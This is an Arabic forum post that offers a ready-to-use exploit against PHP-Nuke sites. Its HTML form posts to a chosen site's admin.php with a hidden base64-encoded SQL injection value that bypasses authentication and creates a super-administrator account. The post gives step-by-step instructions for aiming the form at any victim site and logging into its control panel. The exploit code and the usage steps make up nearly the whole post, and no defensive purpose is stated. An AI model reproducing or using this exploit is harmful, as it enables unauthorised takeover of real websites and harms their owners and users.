بسم الله الرحمن الرحيم :::
الثغرة سهلة وبسيطة إلى أبعد حد وهي أسهل ثغرة شفتها بحياتي..
اختر مجلة نيوك مثلاً
www.OOOO.com/nuke
كود:
<html>
<body bgcolor = #000000 text = #00FF00 >
<form name="mantra" method="POST" action="http://www.Here.com/admin.php">
<p align = center >
أسم المستخدم:<br>
<input type="text" name="add_aid">
<br>
تأكيد إسم المستخدم :<br>
<input type="text" name="add_name">
<br>
كلمة السر:<br>
<input type="text" name="add_pwd">
<br>
البريد الإلكتروني : <br>
<input type="text" name="add_email">
<br>
<input type="checkbox" value="1" name="add_radminsuper" checked>
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
<br>
<input type="hidden" value="create_first" name="fop">
</p>
<p align = center >
<input type="submit" name="Submit" value="أنشئ المدير">
</p>
<p align = center >
Coded By HACKERS PAL <br>
ترجمة :X-jAyA-X <br>
</p>
</form>
</body>
</html>
ضع بدل
www.Here.com/admin.php
عنوان الموقع اللي اخترته بداله (حنا قلنا
www.OOOO.com/nuke) فيصبح:
www.OOOO.com/admin.php
ثم ضعه بالمفكرة واحفظه بامتداد .html
وافتحه ادخل المعلومات المطلوبة ثم اضغط "أنشئ المدير"
اذا فتحت لك لوحة تحكم المنتدى فقد نجحت وإذا ظهر أي شيء آخر فإنك لم تنجح
أدخل اسم المستخدم وكلمة المرور السابقة :) وستكون داخل لوحة التحكم :):)
تحياتي لكم
غير متصل
رد : ثغرة سهلة وبسيطة وحلوة في Phpnuke
